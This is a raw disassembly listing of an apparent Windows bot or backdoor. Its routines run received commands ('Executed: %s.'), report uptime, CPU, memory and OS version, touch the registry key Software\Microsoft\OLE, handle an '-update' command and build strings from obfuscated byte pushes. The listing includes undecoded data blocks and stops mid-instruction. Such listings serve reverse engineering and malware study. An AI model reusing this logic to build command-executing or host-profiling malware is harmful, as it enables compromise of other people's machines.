sub_4017EE push eax lea edx, [esp+17Ch+var_11C] push offset aResolve_errorS ; "resolve.error %s." push edx call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_40545B: ; CODE XREF: sub_404CC0+64Fj mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], ebp call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_40547E: ; CODE XREF: sub_404CC0+50Cj lea ecx, [edi+0BCDh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_40556C lea ecx, [edi+9] call sub_4017EE lea edx, [esp+178h+var_164] push eax push edx call sub_402040 push 0 push 25h push 1Dh push 23h lea eax, [esp+190h+var_14C] mov ebx, 11h push 28h push eax mov [esp+198h+var_4], ebx call sub_4019C4 add esp, 20h mov esi, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 12h call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D8085 call sub_401E24 add esp, 10h lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 push 20h lea ecx, [esp+17Ch+var_14C] push 0 push ecx lea ecx, [esp+184h+var_164] call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 13h call sub_4017EE push eax push offset aS ; "%s" push offset byte_4E8E55 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_40556C: ; CODE XREF: sub_404CC0+7D3j lea ecx, [edi+0E23h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4056DA push offset asc_444600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi call sub_4016B8 mov edi, eax mov ecx, ebp mov [esp+178h+var_4], 14h call sub_4013E3 mov ecx, edi mov ebx, eax call sub_4013E3 mov ecx, esi lea edi, [ebx+eax+3] call sub_4013E3 cmp eax, edi lea ecx, [esp+178h+var_11C] setle bl or edi, 0FFFFFFFFh mov [esp+178h+var_4], edi call sub_401226 test bl, bl jnz loc_4056BD lea ecx, [esp+178h+var_14C] call sub_40142E mov ecx, ebp mov [esp+178h+var_4], 15h call sub_4013E3 add eax, 2 mov ecx, esi push eax call sub_401479 push eax lea ecx, [esp+17Ch+var_14C] call sub_4015E1 lea ecx, [esp+178h+var_164] call sub_40142E lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], 16h call sub_4017EE push eax lea eax, [esp+17Ch+var_164] push offset aExecutedS_ ; "Executed: %s." push eax call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] call sub_4017EE push eax nop call near ptr 77C293C7h add esp, 4 cmp eax, edi lea ecx, [esi+69h] jnz short loc_405674 call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx jmp short loc_405692 ; --------------------------------------------------------------------------- loc_405674: ; CODE XREF: sub_404CC0+997j call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_405692: ; CODE XREF: sub_404CC0+9B2j mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 15h call sub_401226 mov [esp+178h+var_4], edi lea ecx, [esp+178h+var_14C] loc_4056B8: ; CODE XREF: sub_404CC0+1D4j ; sub_404CC0+2AFj ... call sub_401226 loc_4056BD: ; CODE XREF: sub_404CC0+91Cj ; sub_404CC0+C6Aj xor al, al loc_4056BF: ; CODE XREF: sub_404CC0+6Fj ; sub_404CC0+200j ... mov ecx, [esp+178h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 168h retn 4 ; --------------------------------------------------------------------------- loc_4056DA: ; CODE XREF: sub_404CC0+8C1j lea ecx, [edi+0C85h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_405750 lea edx, [esp+178h+var_164] mov ecx, edi push edx call sub_401F5A mov edi, eax lea ecx, [esi+69h] mov [esp+178h+var_4], 17h call sub_4014DD push eax mov ecx, edi call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_164] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405750: ; CODE XREF: sub_404CC0+A2Fj lea ecx, [edi+0CE1h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405841 push 1 push offset asc_444600 ; " " lea edx, [esp+180h+var_14C] push 1 push edx mov ecx, esi call sub_4011EA push 20h lea ecx, [esp+17Ch+var_164] push 0 push ecx mov ecx, eax mov [esp+184h+var_4], 18h call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 19h call sub_4017EE push eax push offset aS ; "%s" push offset byte_4E8E55 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 18h call sub_401226 or edi, 0FFFFFFFFh lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], edi call sub_401226 push 0 push 25h push 1Dh push 23h lea edx, [esp+188h+var_164] push 28h push edx call sub_4019C4 add esp, 18h mov esi, eax mov ecx, offset byte_4E8E55 mov [esp+178h+var_4], 1Ah call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D8085 call sub_401E24 add esp, 10h lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], edi call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405841: ; CODE XREF: sub_404CC0+AA5j lea ecx, [edi+0CB3h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405915 push offset asc_444600 ; " " lea eax, [esp+17Ch+var_14C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+178h+var_4], 1Bh call sub_4017EE push eax nop call near ptr 77C1BF18h or ebp, 0FFFFFFFFh add esp, 4 lea ecx, [esp+178h+var_14C] mov ebx, eax mov [esp+178h+var_4], ebp call sub_401226 test ebx, ebx jnz short loc_4058A9 mov ebx, 7 loc_4058A9: ; CODE XREF: sub_404CC0+BE2j lea ecx, [esp+178h+var_164] push ebx push ecx mov ecx, edi call sub_40195B push offset byte_448F40 lea ecx, [esp+17Ch+var_164] mov [esp+17Ch+var_4], 1Ch call sub_4012EE test eax, eax jz short loc_4058FE lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 loc_4058FE: ; CODE XREF: sub_404CC0+C11j lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], ebp call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405915: ; CODE XREF: sub_404CC0+B96j lea ecx, [edi+0DF5h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4056BD lea ecx, [esp+178h+var_100] call sub_40142E push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+22Ch+var_164] push 2Dh push ecx mov [esp+234h+var_4], 1Dh call sub_4019C4 add esp, 0BCh mov ecx, eax mov byte ptr [esp+178h+var_4], 1Eh call sub_4017EE push eax lea ecx, [esp+17Ch+var_100] call sub_401A9B lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_401226 mov edi, offset aN ; "N" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+178h+var_8C] repne scasb not ecx sub edi, ecx mov [esp+178h+var_168], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea edi, [esp+178h+var_8C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov esi, dword_511764 mov edi, ecx lea ecx, [esp+178h+var_168] push ecx push 20019h push eax push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push 80000002h call esi push 0 push 27h push 29h push 1Dh push 1Eh push 5 push 0Ch push 2 push 1 push 0Eh lea edx, [esp+1B4h+var_178] push 1Fh push edx call sub_4019C4 add esp, 30h lea ecx, [esp+18Ch+var_A0] push edi push ecx push 1 push 0 mov ecx, eax mov [esp+19Ch+var_18], 1Fh call sub_4017EE mov edx, [esp+19Ch+var_17C] push eax push edx call near ptr 2970000h nop lea ecx, [esp+1A4h+var_190] mov [esp+1A4h+var_30], 1Dh call sub_401226 mov eax, [esp+1A4h+var_194] mov edi, dword_511740 push eax call edi lea ecx, [esp+1A8h+var_198] push ecx push 0F003Fh push 0 lea ecx, [esp+1B4h+var_130] call sub_4017EE push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea edx, [esp+1E0h+var_1A8] push 2Dh push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov [esp+1BCh+var_48], 20h call sub_4017EE mov ebp, dword_51176C push eax mov eax, [esp+1C0h+var_1AC] push eax call ebp lea ecx, [esp+1C4h+var_1B0] mov [esp+1C4h+var_50], 1Dh call sub_401226 mov ecx, [esp+1C4h+var_1B4] push ecx call edi push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea edx, [esp+1ECh+var_1B4] push 9 push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov [esp+1C8h+var_54], 21h call sub_4017EE push eax call sub_401604 sub_404CC0 endp ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 84C61424h, 17424h, 0BFE81D00h, 8DFFFFB6h dd 0E844244Ch, 0FFFFB8BEh, 46822B3h, 68000001h, 104h, 4C244C8Dh dd 7C249C88h, 0E8000001h, 0FFFFC0E5h, 6DE89050h, 6A023FA4h dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h dd 50096A38h, 0FFBE13E8h, 2CC483FFh, 84C6C88Bh, 17424h dd 2BE82300h, 50FFFFBCh, 48244C8Dh, 0FFBC21E8h, 4C8D50FFh dd 84684C24h, 51004446h, 0FFB450E8h, 10C483FFh, 14244C8Dh dd 74249C88h, 0E8000001h, 0FFFFB636h, 44244C8Dh, 0FFBA92E8h dd 0E89050FFh, 23EB03Fh, 1024548Dh, 78244C8Dh, 3F6852h dd 6A000Fh, 0FFBBD9E8h, 26850FFh, 0FF800000h, 6A006AD6h dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h dd 0FFBD8BE8h, 28C483FFh, 84C6C88Bh, 17424h, 0A3E82400h dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch dd 0C3E80000h, 8BFFFFB5h, 52102454h, 6AD7FFh, 186A056Ah dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah dd 96A4424h, 0BD36E850h, 0C483FFFFh, 0C6C88B38h, 1742484h dd 0E8250000h, 0FFFFBB4Eh, 0B95EE850h, 0C483FFFFh, 244C8D04h dd 249C8814h, 174h, 0FFB56DE8h, 10468FFh, 4680000h, 8D000001h dd 0E84C244Ch, 0FFFFBFA5h, 2DE89050h, 6A023FA3h, 6A056A00h dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h dd 6A44244Ch, 0CDE85109h, 83FFFFBCh, 0C88B38C4h, 742484C6h dd 26000001h, 0FFBAE5E8h, 4C8D50FFh, 0DBE84824h, 50FFFFBAh dd 4C24548Dh, 44468468h, 0AE85200h, 83FFFFB3h, 4C8D10C4h dd 9C881424h, 17424h, 0B4F0E800h, 4C8DFFFFh, 4CE84424h dd 50FFFFB9h, 3EAEFAE8h, 448D9002h, 4C8D1024h, 68507824h dd 0F003Fh, 93E8006Ah, 50FFFFBAh, 268h, 6AD6FF80h, 6A056A00h dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h dd 0FFBC43E8h, 2CC483FFh, 84C6C88Bh, 17424h, 5BE82700h dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch dd 7BE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h dd 0BBF2E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h dd 0FFFFBA0Ah, 0B81AE850h, 0C483FFFFh, 244C8D04h, 249C8814h dd 174h, 0FFB429E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch dd 0FFFFBE61h, 0A1EAE850h, 6A90023Fh, 6A056A00h, 6A056A18h dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 8DE85217h dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h, 0FFB9A5E8h dd 4C8D50FFh, 9BE84824h, 50FFFFB9h, 4C24448Dh, 44468468h dd 0CAE85000h, 83FFFFB1h, 4C8D10C4h, 9C881424h, 17424h dd 0B3B0E800h, 4C8DFFFFh, 0CE84424h, 50FFFFB8h, 0ADB9E890h dd 4C8D023Eh, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B950E800h dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah dd 146A056Ah, 46A016Ah, 156A106Ah, 476A046Ah, 4824548Dh dd 0E852046Ah, 0FFFFBAF8h, 8B3CC483h, 2484C6C8h, 174h dd 0B910E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh, 9C881424h dd 17424h, 0B330E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h dd 6A402454h, 0A5E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h dd 2B000001h, 0FFB8BDE8h, 0CDE850FFh, 83FFFFB6h, 4C8D04C4h dd 9C881424h, 17424h, 0B2DCE800h, 468FFFFh, 68000001h dd 104h, 4C244C8Dh, 0FFBD14E8h, 0E89050FFh, 23FA09Ch, 56A006Ah dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h dd 0BA3EE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h dd 0FFFFB856h, 244C8D50h, 0B84CE848h, 8D50FFFFh, 684C244Ch dd 444684h, 0B07BE851h, 0C483FFFFh, 244C8D10h, 249C8814h dd 174h, 0FFB261E8h, 244C8DFFh, 0B6BDE844h, 9050FFFFh dd 3EAC6AE8h, 24548D02h, 244C8D10h, 3F685278h, 6A000F00h dd 0B804E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah dd 0B6A276Ah, 16A136Ah, 3024448Dh, 0E8502E6Ah, 0FFFFB9B8h dd 8B24C483h, 2484C6C8h, 174h, 0B7D0E82Dh, 4C8BFFFFh, 51501024h dd 4C8DD5FFh, 9C881424h, 17424h, 0B1F0E800h, 548BFFFFh dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h, 6A0F6A0Eh dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 65E85014h, 83FFFFB9h dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB77DE8h, 8DE850FFh dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B19CE800h dd 468FFFFh, 68000001h, 104h, 4C244C8Dh, 0FFBBD4E8h, 0E89050FFh dd 23F9F5Ch, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B8FEE851h, 0C483FFFFh dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB716h, 244C8D50h dd 0B70CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AF3BE852h dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB121E8h dd 244C8DFFh, 0B57DE844h, 9050FFFFh, 3EAB2AE8h, 24448D02h dd 244C8D10h, 3F685078h, 6A000F00h, 0B6C4E800h, 6850FFFFh dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB873E8h, 28C483FFh dd 84C6C88Bh, 17424h, 8BE83000h, 8BFFFFB6h, 50102454h dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0A8E800h, 448BFFFFh dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h dd 4C8D10C4h, 84C64424h, 17424h, 6BE81D00h, 8DFFFFB0h dd 0C778244Ch, 1742484h, 0FFFF0000h, 57E8FFFFh, 0B0FFFFB0h dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_406730 proc near ; CODE XREF: sub_40195Bj var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_406730 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push ebp push esi xor ebx, ebx push edi lea ecx, [esp+38h+var_24] mov [esp+38h+var_28], ebx call sub_40142E mov esi, [esp+38h+arg_4] mov ebp, 1 cmp esi, ebx mov [esp+38h+var_4], ebp jnz short loc_406781 mov esi, [esp+38h+arg_0] push ebx mov ecx, esi call sub_402112 mov [esp+38h+var_28], ebp jmp loc_406827 ; --------------------------------------------------------------------------- loc_406781: ; CODE XREF: sub_406730+3Aj nop call near ptr 27F0BB2h mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx add edx, ecx sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov edi, edx cmp edi, esi jl short loc_406813 mov eax, ecx mov ecx, 15180h cdq idiv ecx mov esi, 0E10h mov ecx, edx mov eax, ecx cdq idiv esi mov eax, 88888889h mov esi, edx imul esi add edx, esi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx push edx push edi lea edx, [esp+44h+var_24] push offset aUpDdDhDm ; "up: %dd %dh %dm" push edx call sub_40102D mov esi, [esp+4Ch+arg_0] add esp, 14h lea eax, [esp+38h+var_24] mov ecx, esi push eax call sub_4014D3 jmp short loc_406823 ; --------------------------------------------------------------------------- loc_406813: ; CODE XREF: sub_406730+7Cj mov esi, [esp+38h+arg_0] push offset byte_448F40 mov ecx, esi call sub_401870 loc_406823: ; CODE XREF: sub_406730+E1j mov [esp+38h+var_28], ebp loc_406827: ; CODE XREF: sub_406730+4Cj lea ecx, [esp+38h+var_24] mov byte ptr [esp+38h+var_4], bl call sub_401226 mov ecx, [esp+38h+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 28h retn 8 sub_406730 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4068A0: ; CODE XREF: ___:00401672j push ecx push esi mov esi, [esp+0Ch] push offset byte_448F40 mov ecx, esi mov dword ptr [esp+8], 0 call sub_401870 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4068E0 proc near ; CODE XREF: sub_401F5Aj var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_164 = byte ptr -164h var_14C = byte ptr -14Ch var_144 = dword ptr -144h var_140 = dword ptr -140h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4068E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18Ch push ebp push esi push edi lea ecx, [esp+1A4h+var_18C] mov [esp+1A4h+var_198], 0 call sub_40142E mov [esp+1A4h+var_4], 1 nop call near ptr 27F0BB2h mov ecx, eax mov eax, 10624DD3h mul ecx mov esi, edx lea edx, [esp+1A4h+var_14C] push edx mov [esp+1A8h+var_190], 10h shr esi, 6 mov [esp+1A8h+var_194], 15h nop call near ptr 2840000h lea eax, [esp+1A4h+var_12C] mov [esp+1A4h+var_12C], 94h push eax call near ptr 2830000h nop mov eax, [esp+1A4h+var_128] cmp eax, 4 jnz short loc_4069AE mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406996 mov eax, [esp+1A4h+var_11C] cmp eax, 1 jnz short loc_406986 mov ebp, offset a95 ; "95" jmp loc_406A21 ; --------------------------------------------------------------------------- loc_406986: ; CODE XREF: sub_4068E0+9Aj cmp eax, 2 jnz loc_406A1D mov ebp, offset aNt ; "NT" jmp short loc_4069EA ; --------------------------------------------------------------------------- loc_406996: ; CODE XREF: sub_4068E0+8Ej cmp eax, 0Ah jnz short loc_4069A2 mov ebp, offset a98 ; "98" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069A2: ; CODE XREF: sub_4068E0+B9j cmp eax, 5Ah jnz short loc_4069DB mov ebp, offset aMe ; "ME" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069AE: ; CODE XREF: sub_4068E0+83j cmp eax, 5 jnz short loc_4069DB mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_4069C5 mov ebp, offset a2000 ; "2000" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069C5: ; CODE XREF: sub_4068E0+DCj cmp eax, 1 jnz short loc_4069D1 mov ebp, offset aXp ; "XP" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069D1: ; CODE XREF: sub_4068E0+E8j cmp eax, 2 mov ebp, offset a2003 ; "2003" jz short loc_4069E0 loc_4069DB: ; CODE XREF: sub_4068E0+C5j ; sub_4068E0+D1j mov ebp, offset a??? ; "???" loc_4069E0: ; CODE XREF: sub_4068E0+C0j ; sub_4068E0+CCj ... cmp [esp+1A4h+var_11C], 2 jnz short loc_406A21 loc_4069EA: ; CODE XREF: sub_4068E0+B4j mov al, [esp+1A4h+var_118] test al, al jz short loc_406A21 lea ecx, [esp+1A4h+var_118] lea edx, [esp+1A4h+var_98] push ecx push ebp push offset aSS_2 ; "%s [%s]" push edx call sub_5F74D1 nop add esp, 10h lea ebp, [esp+1A4h+var_98] jmp short loc_406A21 ; --------------------------------------------------------------------------- loc_406A1D: ; CODE XREF: sub_4068E0+A9j mov ebp, [esp+1A4h+var_198] loc_406A21: ; CODE XREF: sub_4068E0+A1j ; sub_4068E0+108j ... lea eax, [esp+1A4h+var_190] lea ecx, [esp+1A4h+var_174] push eax push ecx nop call near ptr 2820000h lea edx, [esp+1A4h+var_194] lea eax, [esp+1A4h+var_164] push edx push eax nop call near ptr 2950D4Dh mov eax, esi mov ecx, 15180h cdq idiv ecx lea eax, [esp+1A4h+var_174] mov edi, 0E10h mov ecx, edx lea edx, [esp+1A4h+var_164] push edx push eax mov eax, ecx cdq idiv edi mov eax, 88888889h mov edi, edx imul edi add edx, edi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx mov eax, 0C22E4507h sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx mov ecx, [esp+1B0h+var_120] push edx imul esi add edx, esi sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov eax, [esp+1B4h+var_128] push edx mov edx, [esp+1B8h+var_124] push ecx mov ecx, [esp+1BCh+var_144] push edx push eax mov eax, 804021h push ebp mul ecx sub ecx, edx mov eax, 804021h shr ecx, 1 add ecx, edx shr ecx, 13h push ecx mov ecx, [esp+1CCh+var_140] mul ecx sub ecx, edx shr ecx, 1 add ecx, edx shr ecx, 13h push ecx call sub_4017FD push eax lea ecx, [esp+1D4h+var_18C] push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "... push ecx call sub_40102D mov esi, [esp+1DCh+arg_0] add esp, 38h lea edx, [esp+1A4h+var_18C] push edx mov ecx, esi call sub_4014D3 mov [esp+1A4h+var_198], 1 lea ecx, [esp+1A4h+var_18C] mov byte ptr [esp+1A4h+var_4], 0 call sub_401226 mov ecx, [esp+1A4h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 198h retn 4 sub_4068E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406BF0 proc near ; CODE XREF: sub_4015E6j mov eax, ecx mov dword ptr [eax], offset off_43F008 mov dword ptr [eax+110h], 0 retn sub_406BF0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_406C20: ; CODE XREF: ___:00401FAAj push esi mov esi, ecx call sub_401447 test byte ptr [esp+8], 1 jz short loc_406C38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_406C38: ; CODE XREF: ___:00406C2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406C50 proc near ; CODE XREF: sub_401447j mov dword ptr [ecx], offset off_43F008 mov ecx, [ecx+110h] test ecx, ecx jz short locret_406C67 push ecx call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx locret_406C67: ; CODE XREF: sub_406C50+Ej retn sub_406C50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_406C80 proc near ; CODE XREF: sub_401384j arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_406C80 push eax mov large fs:0, esp sub esp, 448h push ebx mov ebx, ecx mov eax, [ebx+110h] test eax, eax jz short loc_406CB1 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_406CB1: ; CODE XREF: sub_406C80+26j push ebp push esi mov esi, [esp+460h+arg_0] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call sub_437AEA sub_406C80 endp ; --------------------------------------------------------------------------- mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+110h], edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, [ebx+110h] or ecx, 0FFFFFFFFh mov byte ptr [ebx+4], 0 mov dword ptr [ebx+5], 0 mov byte ptr [ebx+9], 0 mov byte ptr [ebx+0Ah], 0 mov byte ptr [ebx+0Bh], 0 repne scasb not ecx push ecx call sub_437AEA ; --------------------------------------------------------------------------- mov edi, [ebx+110h] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov ebp, dword_511B00 mov eax, ecx mov esi, edi mov edi, edx push offset asc_444600 ; " " shr ecx, 2 rep movsd mov ecx, eax push edx and ecx, 3 rep movsb call ebp ; strtok add esp, 10h mov [esp+58h], eax lea esi, [esp+5Ch] mov edi, 0FFh loc_406D62: ; CODE XREF: ___:00406D74j push offset asc_444600 ; " " push 0 call ebp ; strtok mov [esi], eax add esp, 8 add esi, 4 dec edi jnz short loc_406D62 mov eax, [esp+58h] xor ecx, ecx cmp eax, ecx jz loc_406F68 lea ebp, [esp+58h] loc_406D88: ; CODE XREF: ___:00406F60j mov edi, [ebp+0] mov esi, offset dword_4447EC mov eax, edi loc_406D92: ; CODE XREF: ___:00406DB0j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DB6 test cl, cl jz short loc_406DB2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406DB6 add eax, 2 add esi, 2 test cl, cl jnz short loc_406D92 loc_406DB2: ; CODE XREF: ___:00406D9Cj xor eax, eax jmp short loc_406DBB ; --------------------------------------------------------------------------- loc_406DB6: ; CODE XREF: ___:00406D98j ; ___:00406DA6j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DBB: ; CODE XREF: ___:00406DB4j test eax, eax jz loc_406F58 mov esi, offset aUpdate ; "-update" mov eax, edi loc_406DCA: ; CODE XREF: ___:00406DE8j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DEE test cl, cl jz short loc_406DEA mov dl, [eax+1] mov 